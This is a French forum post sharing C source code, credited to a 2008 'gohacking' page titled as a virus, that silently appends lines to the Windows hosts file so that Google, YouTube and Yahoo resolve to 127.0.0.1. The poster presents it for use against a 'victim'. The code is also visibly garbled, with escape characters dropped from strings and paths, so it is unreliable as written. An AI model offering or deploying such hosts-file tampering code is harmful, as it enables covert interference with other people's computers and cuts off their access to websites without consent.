vue Partager vos codes source ici - Page 1
Kommunauty
Connexion
Inscription

Partager vos codes source ici


Anonyme Messages : 0

J'vous file le code source en C qui permet de bloquer un site web.

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”n”);
for(i=0;i<6;i++)
fprintf(target,”%st%sn”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Source: http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html

Il faut changer l'adresse 127.0.0.1 google.com ou youtube.com par le site de la victime ainsi que son adresse IP.

samedi 27 aout 2011

Répondre Pour répondre, tu dois d'abord t'inscrire rapidement sur Kommunauty. Rejoins-nous vite !